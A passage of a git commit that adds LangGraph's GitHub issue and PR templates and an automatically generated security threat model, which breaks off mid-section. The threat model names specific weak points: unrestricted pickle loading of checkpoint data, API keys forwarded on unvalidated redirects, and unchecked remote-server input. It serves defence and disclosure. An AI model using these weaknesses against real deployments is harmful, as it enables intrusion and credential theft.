commit a7d6d88f6fe0fcbed299083342c3abbdfaa6d346 Author: wehub-resource-sync Date: Mon Jul 13 12:37:18 2026 +0800 chore: import upstream snapshot with attribution diff --git a/.github/ISSUE_TEMPLATE/bug-report.yml b/.github/ISSUE_TEMPLATE/bug-report.yml new file mode 100644 index 0000000..2f45d59 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug-report.yml @@ -0,0 +1,120 @@ +name: "\U0001F41B Bug Report" +description: Report a bug in LangGraph. To report a security issue, please instead use the security option (below). For questions, please use the LangChain forum (below). +labels: ["bug"] +type: bug +body: + - type: markdown + attributes: + value: | + Thank you for taking the time to file a bug report. + + > **All contributions must be in English.** See the [language policy](https://docs.langchain.com/oss/python/contributing/overview#language-policy). + + For usage questions, feature requests and general design questions, please use the [LangChain Forum](https://forum.langchain.com/). + + Check these before submitting to see if your issue has already been reported, fixed or if there's another way to solve your problem: + + * [Documentation](https://docs.langchain.com/oss/python/langgraph/overview), + * [API Reference Documentation](https://reference.langchain.com/python/), + * [LangChain ChatBot](https://chat.langchain.com/) + * [GitHub search](https://github.com/langchain-ai/langgraph), + * [LangChain Forum](https://forum.langchain.com/), + - type: checkboxes + id: checks + attributes: + label: Checked other resources + description: Please confirm and check all the following options. + options: + - label: This is a bug, not a usage question. + required: true + - label: I added a clear and descriptive title that summarizes this issue. + required: true + - label: I used the GitHub search to find a similar question and didn't find it. + required: true + - label: I am sure that this is a bug in LangGraph rather than my code. + required: true + - label: The bug is not resolved by updating to the latest stable version of LangGraph (or the specific integration package). + required: true + - label: This is not related to the langchain-community package. + required: true + - label: I posted a self-contained, minimal, reproducible example. A maintainer can copy it and run it AS IS. + required: true + - type: textarea + id: related + validations: + required: false + attributes: + label: Related Issues / PRs + description: | + If this bug is related to any existing issues or pull requests, please link them here. + placeholder: | + * e.g. #123, #456 + - type: textarea + id: reproduction + validations: + required: true + attributes: + label: Reproduction Steps / Example Code (Python) + description: | + Please add a self-contained, [minimal, reproducible, example](https://stackoverflow.com/help/minimal-reproducible-example) with your use case. + + If a maintainer can copy it, run it, and see it right away, there's a much higher chance that you'll be able to get help. + + **Important!** + + * Avoid screenshots, as they are hard to read and (more importantly) don't allow others to copy-and-paste your code. + * Reduce your code to the minimum required to reproduce the issue if possible. + + (This will be automatically formatted into code, so no need for backticks.) + render: python + placeholder: | + from langgraph.graph import StateGraph + + def bad_code(inputs) -> int: + raise NotImplementedError('For demo purpose') + + chain = StateGraph(list) + chain.invoke('Hello!') + - type: textarea + attributes: + label: Error Message and Stack Trace (if applicable) + description: | + If you are reporting an error, please copy and paste the full error message and + stack trace. + (This will be automatically formatted into code, so no need for backticks.) + render: shell + - type: textarea + id: description + attributes: + label: Description + description: | + What is the problem, question, or error? + + Write a short description telling what you are doing, what you expect to happen, and what is currently happening. + placeholder: | + * I'm trying to use the `langgraph` library to do X. + * I expect to see Y. + * Instead, it does Z. + validations: + required: true + - type: textarea + id: system-info + attributes: + label: System Info + description: | + Please share your system info with us. + + Run the following command in your terminal and paste the output here: + + `python -m langchain_core.sys_info` + + or if you have an existing python interpreter running: + + ```python + from langchain_core import sys_info + sys_info.print_sys_info() + ``` + placeholder: | + python -m langchain_core.sys_info + validations: + required: true diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml new file mode 100644 index 0000000..649f8b9 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/config.yml @@ -0,0 +1,15 @@ +blank_issues_enabled: false +version: 2.1 +contact_links: + - name: 💬 LangChain Forum + url: https://forum.langchain.com/ + about: General community discussions and support + - name: 📚 LangGraph Documentation + url: https://docs.langchain.com/oss/python/langgraph/overview + about: View the official LangGraph documentation + - name: 📚 API Reference Documentation + url: https://reference.langchain.com/python/langgraph/ + about: View the official LangGraph API reference documentation + - name: 📚 Documentation issue + url: https://github.com/langchain-ai/docs/issues/new?template=02-langgraph.yml + about: Report an issue related to the LangGraph documentation diff --git a/.github/ISSUE_TEMPLATE/privileged.yml b/.github/ISSUE_TEMPLATE/privileged.yml new file mode 100644 index 0000000..db5fecb --- /dev/null +++ b/.github/ISSUE_TEMPLATE/privileged.yml @@ -0,0 +1,28 @@ +name: "\U0001F512 Privileged" +description: You are a LangGraph maintainer. If not, check the other options. +body: + - type: markdown + attributes: + value: | + > **All contributions must be in English.** See the [language policy](https://docs.langchain.com/oss/python/contributing/overview#language-policy). + + If you are not a LangGraph maintainer, employee, or were not asked directly by a maintainer to create an issue, then please start the conversation on the [LangChain Forum](https://forum.langchain.com/) instead. + + **Note:** Do not begin work on a PR unless explicitly assigned to this issue by a maintainer. + - type: checkboxes + id: privileged + attributes: + label: Privileged issue + description: Confirm that you are allowed to create an issue here. + options: + - label: I am a LangGraph maintainer. + required: true + - type: textarea + id: content + attributes: + label: Issue Content + description: Add the content of the issue here. + - type: markdown + attributes: + value: | + Please do not begin work on a PR unless explicitly assigned to this issue by a maintainer. diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 0000000..14b12f1 --- /dev/null +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1,40 @@ +Fixes # + + + +Read the full contributing guidelines: https://docs.langchain.com/oss/python/contributing/overview + +> **All contributions must be in English.** See the [language policy](https://docs.langchain.com/oss/python/contributing/overview#language-policy). + +If you paste a large clearly AI generated description here your PR may be IGNORED or CLOSED! + +Thank you for contributing to LangGraph! Follow these steps to have your pull request considered as ready for review. + +1. PR title: Should follow the format: TYPE(SCOPE): DESCRIPTION + + - feat(langgraph): add multi-tenant support + - Allowed TYPE and SCOPE values: https://github.com/langchain-ai/langgraph/blob/main/.github/workflows/pr_lint.yml#L19-L43 + +2. PR description: + + - Write 1-2 sentences summarizing the change. + - The `Fixes #xx` line at the top is **required** for external contributions — update the issue number and keep the keyword. This links your PR to the approved issue and auto-closes it on merge. + - If there are any breaking changes, please clearly describe them. + - If this PR depends on another PR being merged first, please include "Depends on #PR_NUMBER" in the description. + +3. Run `make format`, `make lint` and `make test` from the root of the package(s) you've modified. + + - We will not consider a PR unless these three are passing in CI. + +4. How did you verify your code works? + +Additional guidelines: + + - All external PRs must link to an issue or discussion where a solution has been approved by a maintainer, and you must be assigned to that issue. PRs without prior approval will be closed. + - PRs should not touch more than one package unless absolutely necessary. + - Do not update the `uv.lock` files or add dependencies to `pyproject.toml` files (even optional ones) unless you have explicit permission to do so by a maintainer. + +## Social handles (optional) + +Twitter: @ +LinkedIn: https://linkedin.com/in/ diff --git a/.github/THREAT_MODEL.md b/.github/THREAT_MODEL.md new file mode 100644 index 0000000..e257c8f --- /dev/null +++ b/.github/THREAT_MODEL.md @@ -0,0 +1,479 @@ +# Threat Model: LangGraph + +> Generated: 2026-03-28 | Commit: 0ba22143 | Scope: Full monorepo (all libs/) + +> **Disclaimer:** This threat model is automatically generated to help developers and security researchers understand where trust is placed in this system and where boundaries exist. It is experimental, subject to change, and not an authoritative security reference — findings should be validated before acting on them. The analysis may be incomplete or contain inaccuracies. We welcome suggestions and corrections to improve this document. + +For vulnerability reporting, see the [GitHub Security Advisories](https://github.com/langchain-ai/langgraph/security/advisories) page. + +## Scope + +### In Scope + +- `libs/langgraph` — Core graph execution engine (Pregel, StateGraph, channels, functional API with `@entrypoint`/`@task`) +- `libs/prebuilt` — High-level agent APIs (ToolNode, create_react_agent, ValidationNode, InjectedState/InjectedStore/ToolRuntime injection) +- `libs/checkpoint` — Checkpoint serialization/deserialization (JsonPlusSerializer, EncryptedSerializer, BaseCache, stores, serde event hooks, SAFE_MSGPACK_TYPES allowlist) +- `libs/checkpoint-postgres` — PostgreSQL checkpoint saver, key-value store, and vector search +- `libs/checkpoint-sqlite` — SQLite checkpoint saver, key-value store, and vector search +- `libs/cli` — CLI for Docker-based deployment (`langgraph up/build/dev/new`), WebhookUrlPolicy +- `libs/sdk-py` — Python SDK client for LangGraph Server API (HttpClient, Auth system, Encryption handlers) + +### Out of Scope + +- `libs/sdk-js` — Moved to external `langchain-ai/langgraphjs` repository; no source in this repo +- `libs/checkpoint-conformance` — Conformance test suite only; not shipped code +- LangGraph Server / `langgraph-api` — Closed-source server runtime; not in this repo +- LangChain Core (`langchain-core`) — Upstream dependency; separate threat model +- User application code — Tools, prompts, model selection, deployment infrastructure +- LLM provider behavior — Model output content and safety +- LangSmith platform — Observability/tracing backend +- Tests, benchmarks, documentation — Not shipped code + +### Assumptions + +1. The project is used as a library/framework — users control their own application code, model selection, and deployment. +2. Checkpoint storage backends (databases) are deployed with proper access controls by the user. +3. LLM providers return well-formed responses per their documented API contracts. +4. The `langgraph.json` configuration file is developer-controlled and not user-supplied at runtime. +5. The CLI runs in a developer environment with Docker access. +6. The SDK connects to trusted LangGraph Server endpoints chosen by the user. +7. SDK Encryption handlers are developer-authored server-side code with application-level trust. + +--- + +## System Overview + +LangGraph is an open-source Python framework for building stateful, multi-actor AI agent applications. It provides a graph-based execution model (Bulk Synchronous Parallel via the Pregel engine) where user-defined nodes process shared state through typed channels. The framework supports two authoring APIs: the declarative StateGraph API and the functional API (`@entrypoint`/`@task` decorators). It includes checkpointing (persistence of graph state to databases), tool execution (dispatching LLM-generated tool calls with runtime injection of state/store/context), remote graph composition (calling LangGraph Server APIs), Docker-based deployment via a CLI, and a beta SDK encryption framework for custom at-rest encryption handlers. + +### Architecture Diagram + +``` ++---------------------------------------------------------------------------+ +| User Application | +| | +| +-----------------------------------------------+ | +| | User Application Code | | +| | (graph nodes, tools; StateGraph builder API | | +| | and functional API @entrypoint/@task both | | +| | compile to the same Pregel execution engine) | | +| +------------------------+----------------------+ | +| | | +| +------------v-----------+ | +| | StateGraph / Pregel | | +| | (core execution engine)| | +| +------+----------+------+ | +| | | | +| InjectedState +--v---------+ | +| InjectedStore | ToolNode | | +| ToolRuntime | (opt-in) | | +| +------------+ | +| | | +| - - - - - - - - - - - | - - - - TB1: User/Framework API - - - - - - - - | +| | | +| +-----v------+ +--------------+ | +| | Checkpoint | | RemoteGraph | | +| | Serializer | | (SDK client) | | +| |(jsonplus) | +------+--------+ | +| +-----+------+ | | +| | | | +| - - - - - - - - - - - | - - - - - - - -|- - TB2: Storage/Network - - - - | +| v v | +| +--------------+ +--------------+ | +| | PostgreSQL | | LangGraph | | +| | / SQLite | | Server API | | +| +--------------+ +--------------+ | +| | +| +----------+ +--------------+ | +| | CLI |------------------>| Docker | | +| |(langgraph| TB4: Config | Engine | | +| | up/build)| +--------------+ | +| +----------+ | +| | +| +--------------------+ | +| | SDK Encryption | TB5: Developer-authored handlers | +| | Handlers (beta) | (server-side execution in langgraph-api) | +| +--------------------+ | ++---------------------------------------------------------------------------+ +``` + +--- + +## Components + +| ID | Component | Description | Trust Level | Default? | Entry Points | +|----|-----------|-------------|-------------|----------|--------------| +| C1 | StateGraph / Pregel | Core graph builder and execution engine with v1/v2 output, durability modes (sync/async/exit), interrupt_before/interrupt_after | framework-controlled | Yes | `StateGraph.add_node()`, `StateGraph.compile()`, `Pregel.invoke()`, `Pregel.stream()` | +| C2 | JsonPlusSerializer | Checkpoint serialization/deserialization with msgpack, JSON, and pickle codecs; 47-entry SAFE_MSGPACK_TYPES allowlist | framework-controlled | Yes | `loads_typed()`, `dumps_typed()`, `_create_msgpack_ext_hook()`, `_reviver()` | +| C3 | ToolNode | Dispatches LLM-generated tool calls to registered BaseTool instances; supports InjectedState/InjectedStore/ToolRuntime injection into tools | framework-controlled | No (explicit opt-in required) | `ToolNode._func()`, `_run_one()`, `_execute_tool_sync()`, `_validate_tool_call()`, `_inject_tool_args()` | +| C4 | RemoteGraph | Client for remote LangGraph Server API; implements PregelProtocol | framework-controlled | No (opt-in) | `RemoteGraph.stream()`, `RemoteGraph.invoke()`, `RemoteGraph.get_state()` | +| C5 | PostgresSaver / PostgresStore | PostgreSQL checkpoint saver, key-value store, and vector search | framework-controlled | No (opt-in) | `from_conn_string()`, `put()`, `get_tuple()`, `search()` | +| C6 | SqliteSaver / SqliteStore | SQLite checkpoint saver, key-value store with JSON path filtering | framework-controlled | No (opt-in) | `from_conn_string()`, `put()`, `get_tuple()`, `search()` | +| C7 | EncryptedSerializer | AES-EAX authenticated encryption wrapper for checkpoint data | framework-controlled | No (opt-in) | `from_pycryptodome_aes()`, `loads_typed()`, `dumps_typed()` | +| C8 | CLI (langgraph_cli) | Docker-based build and deployment tooling; config schema includes WebhookUrlPolicy for SSRF protection | framework-controlled | No (separate install) | `langgraph up`, `langgraph build`, `langgraph dev`, `langgraph new` | +| C9 | SDK Client (langgraph_sdk) | HTTP client for LangGraph Server API with SSE streaming and reconnection | framework-controlled | Yes | `get_client()`, `get_sync_client()`, `HttpClient.request_reconnect()`, `HttpClient.stream()` | +| C10 | User-Registered Tools | BaseTool instances provided by users; may use InjectedState/InjectedStore/ToolRuntime annotations | user-controlled | N/A | Tool `invoke()` / `ainvoke()` methods | +| C11 | User-Registered Nodes | Arbitrary callables added via `add_node()` or `@task`/`@entrypoint` | user-controlled | N/A | Node function signatures | +| C12 | Checkpoint Storage | PostgreSQL or SQLite databases storing serialized graph state | external | N/A | Database connection interface | +| C13 | Functional API | `@entrypoint`/`@task` decorators for function-based workflow authoring with retry/cache policies | framework-controlled | Yes | `entrypoint.__call__()`, `task()`, `_TaskFunction.__call__()` (`libs/langgraph/langgraph/func/__init__.py`) | +| C14 | BaseCache | Cache layer for task results with JsonPlusSerializer (pickle_fallback=False) | framework-controlled | No (opt-in, requires checkpointer) | `get()`, `set()`, `clear()` (`libs/checkpoint/langgraph/cache/base/__init__.py`) | +| C15 | Serde Event Hooks | Monitoring system for serialization/deserialization events (msgpack_blocked, msgpack_unregistered_allowed, msgpack_method_blocked) | framework-controlled | Yes | `register_serde_event_listener()`, `emit_serde_event()` (`libs/checkpoint/langgraph/checkpoint/serde/event_hooks.py`) | +| C16 | Auth System (SDK) | Custom authentication/authorization handler framework | framework-controlled | No (opt-in) | `Auth.authenticate()`, `Auth.on()` handler registration (`libs/sdk-py/langgraph_sdk/auth/__init__.py`) | +| C17 | SDK Encryption Handlers (beta) | Custom at-rest encryption/decryption framework; supports blob and JSON handlers with per-model/field context; server-side execution | framework-controlled | No (opt-in, beta) | `Encryption.encrypt.blob()`, `Encryption.encrypt.json()`, `Encryption.decrypt.blob()`, `Encryption.decrypt.json()`, `Encryption.context()` (`libs/sdk-py/langgraph_sdk/encryption/__init__.py`) | + +--- + +## Data Classification + +| ID | PII Category | Specific Fields | Sensitivity | Storage Location(s) | Encrypted at Rest | Retention | Regulatory | +|----|-------------|----------------|-------------|---------------------|-------------------|-----------|------------| +| DC1 | API credentials | `x-api-key` header, `LANGGRAPH_API_KEY`, `LANGSMITH_API_KEY`, `LANGCHAIN_API_KEY` env vars | Critical | Environment variables, HTTP headers in transit | N/A (in-memory) | Session lifetime | All — breach trigger | +| DC2 | Encryption keys | `LANGGRAPH_AES_KEY` env var, `key` parameter to `from_pycryptodome_aes()` | Critical | Environment variable, in-memory | N/A | Application lifetime | All — breach trigger | +| DC3 | Serialized graph state | Checkpoint data in `checkpoints` and `writes` tables (msgpack/JSON/pickle bytes) | High | PostgreSQL (BYTEA), SQLite (BLOB) | Optional via EncryptedSerializer or SDK Encryption Handlers | Unbounded (no default TTL) | GDPR if state contains PII | +| DC4 | Store key-value data | User-stored items in `store` tables via BaseStore | High | PostgreSQL, SQLite | No (plaintext JSON); optional via SDK Encryption Handlers | Configurable TTL, default unbounded | GDPR if contains PII | +| DC5 | Checkpoint metadata | `thread_id`, `checkpoint_ns`, `run_id`, `step`, `source` | Medium | PostgreSQL, SQLite (metadata JSONB/JSON column) | No | Same as DC3 | Minimal | +| DC6 | Agent conversation history | LangChain messages (HumanMessage, AIMessage, ToolMessage) serialized in checkpoint state | High | PostgreSQL, SQLite (within DC3 checkpoint bytes) | Only if DC3 encrypted | Unbounded | GDPR, CCPA if contains user PII | +| DC7 | Connection strings | PostgreSQL URIs, SQLite file paths passed to `from_conn_string()` | Critical | Application code, environment variables | N/A (in-memory) | Application lifetime | All — may contain credentials | +| DC8 | Vector embeddings | Document embeddings in `store_vectors` table | Low | PostgreSQL (pgvector), SQLite (vec extension) | No | Same as DC4 | Minimal | +| DC9 | SDK Encryption context metadata | `EncryptionContext.metadata` dict passed to encryption handlers | Medium | In-memory per request; persisted with encrypted data | N/A (context, not payload) | Request lifetime + persistence alongside encrypted data | Depends on content | + +### Data Classification Details + +#### DC1: API Credentials + +- **Fields**: `x-api-key` HTTP header, `LANGGRAPH_API_KEY`/`LANGSMITH_API_KEY`/`LANGCHAIN_API_KEY` environment variables +- **Storage**: Environment variables (loaded at runtime), HTTP request headers (in transit) +- **Access**: SDK client code (`libs/sdk-py/langgraph_sdk/_shared/utilities.py:_get_api_key`), any process with env var access +- **Encryption**: TLS in transit (if HTTPS); no at-rest encryption for env vars +- **Retention**: Session/process lifetime +- **Logging exposure**: API key stripped of quotes but could appear in debug logs if HTTP headers are logged. `RESERVED_HEADERS` prevents user override of `x-api-key` but doesn't prevent logging. +- **Cross-border**: Travels with every HTTP request to the LangGraph Server +- **Gaps**: SDK `request_reconnect()` and `stream()` forward `x-api-key` header to server-controlled `Location` redirect URLs without URL validation (see T9) + +#### DC2: Encryption Keys + +- **Fields**: `LANGGRAPH_AES_KEY` environment variable, `key` bytes parameter +- **Storage**: Environment variable or direct bytes in application code +- **Access**: `libs/checkpoint/langgraph/checkpoint/serde/encrypted.py:from_pycryptodome_aes` +- **Encryption**: N/A — this IS the encryption key +- **Retention**: Application lifetime +- **Logging exposure**: Not logged by framework code +- **Gaps**: Key loaded from env var as UTF-8 string limits entropy to ~6.57 bits/byte (see T7). Cipher name validated with `assert` which is stripped by `python -O` (see T8). + +#### DC3: Serialized Graph State + +- **Fields**: All channel values serialized via `JsonPlusSerializer.dumps_typed()` — includes complete agent state, conversation history, tool call results, and any user-defined state +- **Storage**: PostgreSQL `checkpoints.checkpoint` (BYTEA), `writes.blob` (BYTEA); SQLite `checkpoints.checkpoint` (BLOB), `writes.blob` (BLOB) +- **Access**: Any code with database credentials; `BaseCheckpointSaver.get_tuple()` / `put()` +- **Encryption**: Optional via `EncryptedSerializer` wrapping (AES-EAX) or SDK Encryption Handlers (beta, server-side). Not encrypted by default. +- **Retention**: Unbounded by default. Optional TTL via `CheckpointerConfig.ttl` (server-side config) +- **Logging exposure**: Serde event hooks emit module/class names of deserialized types but not the data itself +- **Gaps**: Default unbounded retention of potentially PII-containing state. Unencrypted by default. EncryptedSerializer has fallback that accepts unencrypted data (see T10). + +#### DC6: Agent Conversation History + +- **Fields**: `HumanMessage.content`, `AIMessage.content`, `ToolMessage.content`, `AIMessage.tool_calls` — embedded within DC3 checkpoint bytes +- **Storage**: Same as DC3 (within serialized checkpoint data) +- **Access**: Same as DC3 +- **Encryption**: Only if DC3 is encrypted via EncryptedSerializer or SDK Encryption Handlers +- **Retention**: Same as DC3 (unbounded default) +- **Gaps**: Conversation content may include user PII, PHI, or sensitive business data. No field-level encryption or redaction. Retention inherits from DC3 with no conversation-specific policy. + +#### DC9: SDK Encryption Context Metadata + +- **Fields**: `EncryptionContext.model` (str), `EncryptionContext.field` (str), `EncryptionContext.metadata` (dict) +- **Storage**: In-memory during request processing; persisted alongside encrypted data for later decryption +- **Access**: Encryption/decryption handlers (developer-authored), ContextHandler (receives authenticated BaseUser) +- **Encryption**: N/A — this is context for encryption, not encrypted data itself +- **Retention**: Persisted with encrypted data indefinitely +- **Logging exposure**: Not logged by SDK code +- **Gaps**: `metadata` is a mutable dict — whether cross-request isolation is enforced depends on server-side implementation (langgraph-api, out of scope). ContextHandler registration at `libs/sdk-py/langgraph_sdk/encryption/__init__.py:Encryption.context` does not call `_validate_handler` (missing async/param-count validation, unlike all other handler types). + +--- + +## Trust Boundaries + +| ID | Boundary | Description | Controls (Inside) | Does NOT Control (Outside) | +|----|----------|-------------|-------------------|---------------------------| +| TB1 | User/Framework API | Where user-provided code and configuration enters the framework | Graph execution logic, channel semantics, default configs, validation of graph structure, tool injection merge order (system values overwrite LLM values) | User node implementations, tool behavior, model selection, prompt construction, state schema design | +| TB2 | Checkpoint Storage | Where serialized data enters/leaves the persistence layer | Serialization format, allowlists for deserialization (47 safe types, 1 safe method), encryption (if configured), serde event hooks | Database access controls, who can write to the checkpoint tables, storage infrastructure security | +| TB3 | Remote API | Where data crosses the network to/from LangGraph Server | Outbound config sanitization (`_sanitize_config`), SDK HTTP transport, API key handling, `RESERVED_HEADERS` | Remote server behavior, response content integrity, network security (TLS), server-provided Location redirect targets | +| TB4 | CLI Config/Docker | Where developer config drives container image generation | Dockerfile template structure, config schema validation (including WebhookUrlPolicy), list-based subprocess args, build command content validation | `langgraph.json` file content, Docker daemon security, host filesystem | +| TB5 | SDK Encryption Handlers | Where developer-authored encryption handlers process sensitive data | Handler signature validation (async, 2-param for encrypt/decrypt), duplicate registration prevention, EncryptionContext construction | Handler implementation correctness, key management, actual encrypt/decrypt behavior, server-side execution environment | + +### Boundary Details + +#### TB1: User/Framework API + +- **Inside**: Graph compilation validates structure (`libs/langgraph/langgraph/pregel/_validate.py:validate_graph`). Channel types enforce update semantics (`libs/langgraph/langgraph/channels/base.py:BaseChannel.update`). Functional API validates entrypoint has at least one parameter (`libs/langgraph/langgraph/func/__init__.py:entrypoint`). Sensitive config keys filtered from metadata propagation — keys containing "key", "token", "secret", "password", "auth" are excluded (`libs/langgraph/langgraph/_internal/_config.py:_exclude_as_metadata`). Tool injection merge order ensures system-injected values (InjectedState/InjectedStore/ToolRuntime) overwrite any LLM-supplied collisions (`libs/prebuilt/langgraph/prebuilt/tool_node.py:ToolNode._inject_tool_args` line 1380). Injected parameter names hidden from LLM tool schema via `tool_call_schema` filtering. +- **Outside**: What user nodes do, what tools return, what LLMs generate, how users handle output. +- **Crossing mechanism**: Python function calls — `add_node(callable)`, `add_edge()`, `compile(checkpointer=...)`, `@entrypoint`, `@task`. + +#### TB2: Checkpoint Storage + +- **Inside**: `JsonPlusSerializer` controls serialization format (`libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py:JsonPlusSerializer`). Msgpack type allowlist (`libs/checkpoint/langgraph/checkpoint/serde/_msgpack.py:SAFE_MSGPACK_TYPES` — 47 safe types including stdlib, langchain_core messages, and langgraph types). Msgpack method allowlist (`libs/checkpoint/langgraph/checkpoint/serde/_msgpack.py:SAFE_MSGPACK_METHODS` — 1 safe method: `datetime.datetime.fromisoformat`). JSON module allowlist (`libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py:_check_allowed_json_modules`). Serde event hooks for monitoring (`libs/checkpoint/langgraph/checkpoint/serde/event_hooks.py:emit_serde_event`). Optional `EncryptedSerializer` wrapping (`libs/checkpoint/langgraph/checkpoint/serde/encrypted.py:EncryptedSerializer`). SQLite filter key regex validation (`libs/checkpoint-sqlite/langgraph/checkpoint/sqlite/utils.py:_validate_filter_key`). Parameterized SQL queries in both Postgres and SQLite backends. +- **Outside**: Database access controls, who can read/write checkpoint tables, storage backend integrity. +- **Crossing mechanism**: Database read/write operations — serialized bytes stored as BYTEA (Postgres) or BLOB (SQLite). + +#### TB3: Remote API + +- **Inside**: `_sanitize_config()` strips non-primitive values and drops checkpoint-internal keys from outbound config (`libs/langgraph/langgraph/pregel/remote.py:_sanitize_config`). SDK handles API key from env vars (`libs/sdk-py/langgraph_sdk/_shared/utilities.py:_get_api_key`). `RESERVED_HEADERS` prevents user override of `x-api-key` (`libs/sdk-py/langgraph_sdk/_shared/utilities.py:RESERVED_HEADERS`). +- **Outside**: Remote server response content, network integrity, whether the server is legitimate, server-provided Location redirect targets. +- **Crossing mechanism**: HTTPS requests via `httpx` through `langgraph_sdk`. + +#### TB4: CLI Config/Docker + +- **Inside**: Config file parsed as JSON (`libs/cli/langgraph_cli/config.py:validate_config_file`). Docker subprocess invoked with list-based args via `asyncio.create_subprocess_exec`, not `shell=True` (`libs/cli/langgraph_cli/exec.py:subp_exec`). Template downloads from hardcoded GitHub URLs (`libs/cli/langgraph_cli/templates.py`). Config schema validation covers store, auth, encryption, http, webhooks, checkpointer, and ui sections (`libs/cli/langgraph_cli/schemas.py`). Build command content validation blocks shell metacharacters (`libs/cli/langgraph_cli/config.py:has_disallowed_build_command_content`). WebhookUrlPolicy (`libs/cli/langgraph_cli/schemas.py:WebhookUrlPolicy`) supports `require_https`, `allowed_domains`, `allowed_ports`, `max_url_length`, `disable_loopback` for SSRF protection. +- **Outside**: Content of `langgraph.json`, Docker daemon behavior, filesystem permissions. +- **Crossing mechanism**: JSON file read, subprocess execution, ZIP download/extraction. + +#### TB5: SDK Encryption Handlers + +- **Inside**: Handler signature validation — must be async, must accept exactly 2 positional params (`libs/sdk-py/langgraph_sdk/encryption/__init__.py:_validate_handler`). Duplicate handler registration prevention (`DuplicateHandlerError`). `EncryptionContext` construction with model/field/metadata (`libs/sdk-py/langgraph_sdk/encryption/types.py:EncryptionContext`). JSON key preservation constraint documented (enforced server-side). +- **Outside**: Handler implementation correctness, key management strategy, actual encryption/decryption logic, server-side execution in langgraph-api. +- **Crossing mechanism**: Python decorator registration at import time; server-side invocation at runtime. + +--- + +## Data Flows + +| ID | Source | Destination | Data Type | Classification | Crosses Boundary | Protocol | +|----|--------|-------------|-----------|----------------|------------------|----------| +| DF1 | C12 (Checkpoint Storage) | C2 (JsonPlusSerializer) | Serialized checkpoint bytes (msgpack/JSON/pickle) | DC3 | TB2 | Database read | +| DF2 | C2 (JsonPlusSerializer) | C1 (Pregel) | Deserialized Python objects (channel state) | DC3, DC6 | TB2 | Function call | +| DF3 | LLM (external) | C3 (ToolNode) | Tool call arguments (JSON strings in AIMessage) | — | TB1 | Function call (via langchain-core) | +| DF4 | C3 (ToolNode) | C10 (User Tools) | Parsed argument dicts merged with injected state/store/runtime | — | TB1 | `tool.invoke(call_args)` | +| DF5 | C4 (RemoteGraph) | C1 (Pregel) | Stream chunks (JSON-deserialized dicts) | — | TB3 | HTTPS / SSE | +| DF6 | `langgraph.json` | C8 (CLI) | Config dict (graphs, env, store, auth, encryption, http, webhooks, checkpointer, ui) | — | TB4 | `json.load()` | +| DF7 | C8 (CLI) | Docker | Dockerfile content with embedded ENV values | — | TB4 | `asyncio.create_subprocess_exec` | +| DF8 | C11 (User Nodes) | C1 (Pregel) | State updates (arbitrary Python objects) | — | TB1 | Channel write | +| DF9 | C9 (SDK Client) | C4 (RemoteGraph) | API responses (JSON) | — | TB3 | HTTPS | +| DF10 | User config | C7 (EncryptedSerializer) | AES key from LANGGRAPH_AES_KEY env var | DC2 | TB2 | `os.getenv()` | +| DF11 | C12 (Checkpoint Storage) | C14 (BaseCache) | Cached task results via JsonPlusSerializer | DC3 | TB2 | Database read | +| DF12 | LangGraph Server | C9 (SDK Client) | HTTP responses with Location header | DC1 | TB3 | HTTP redirect | +| DF13 | C9 (SDK Client) | Redirect target | Request headers including x-api-key | DC1 | TB3 | HTTPS | +| DF14 | C1 (Pregel state) | C3 (ToolNode) | InjectedState/InjectedStore/ToolRuntime values for tool injection | DC3, DC4 | TB1 | Function call (dict merge) | +| DF15 | Developer code | C17 (SDK Encryption Handlers) | Encryption/decryption handler functions and context handler | — | TB5 | Python decorator registration | + +### Flow Details + +#### DF1: Checkpoint Storage -> JsonPlusSerializer + +- **Data**: Serialized graph state as `(type_tag, bytes)` tuples. Type tags include `"msgpack"`, `"json"`, `"pickle"`, `"bytes"`, `"null"`. When encrypted: `"msgpack+aes"`, `"json+aes"`. +- **Validation**: Type tag dispatches to codec. Msgpack: `_create_msgpack_ext_hook` with allowlist check — `SAFE_MSGPACK_TYPES` (47 entries) always checked first, then `allowed_modules` determines behavior for unregistered types (`libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py:_create_msgpack_ext_hook`). JSON: `_reviver` with `lc:2` module allowlist. Pickle: **no restrictions** (`pickle.loads(data_)` if `pickle_fallback=True`, `libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py:JsonPlusSerializer.loads_typed`). The proposed `secure_pickle.py` with `RestrictedUnpickler` was documented in `SECURITY_FIX_SUMMARY.md` but never merged. +- **Trust assumption**: Checkpoint storage is access-controlled. An attacker with write access to the database can craft malicious checkpoint data. + +#### DF3: LLM -> ToolNode + +- **Data**: Tool call name and arguments from LLM-generated `AIMessage.tool_calls`. +- **Validation**: Tool name checked against registered `tools_by_name` dict — unknown names return error `ToolMessage` (`libs/prebuilt/langgraph/prebuilt/tool_node.py:ToolNode._validate_tool_call`). Argument values validated only by the target tool's Pydantic schema. +- **Trust assumption**: LLM output is treated as untrusted for tool name routing but argument values pass through to tools without ToolNode-level sanitization. + +#### DF4: ToolNode -> User Tools (with Injection) + +- **Data**: Parsed argument dicts from LLM, merged with system-injected InjectedState/InjectedStore/ToolRuntime values. +- **Validation**: Four-layer defense: (1) Injected parameter names hidden from LLM via `tool_call_schema` filtering. (2) Dict merge `{**llm_args, **injected_args}` places system values last — system always wins on collision (`libs/prebuilt/langgraph/prebuilt/tool_node.py:ToolNode._inject_tool_args` line 1380). (3) Pydantic `model_validate` with default `extra="ignore"` drops unknown keys. (4) Output construction only includes declared model fields. +- **Trust assumption**: LLM-provided arguments cannot override system-injected values due to merge order. + +#### DF5: RemoteGraph -> Pregel + +- **Data**: Stream event chunks containing dicts for `Interrupt`, `Command`, state snapshots. +- **Validation**: **None** on inbound data. `Interrupt(**i)` uses dict-splatting with no schema check (`libs/langgraph/langgraph/pregel/remote.py:RemoteGraph.stream`). `Command(**chunk.data)` uses dict-splatting for parent commands. +- **Trust assumption**: Remote server is trusted. A compromised or malicious server can inject arbitrary field values. + +#### DF6: langgraph.json -> CLI + +- **Data**: JSON config including `graphs`, `env`, `store`, `auth`, `encryption`, `http`, `webhooks`, 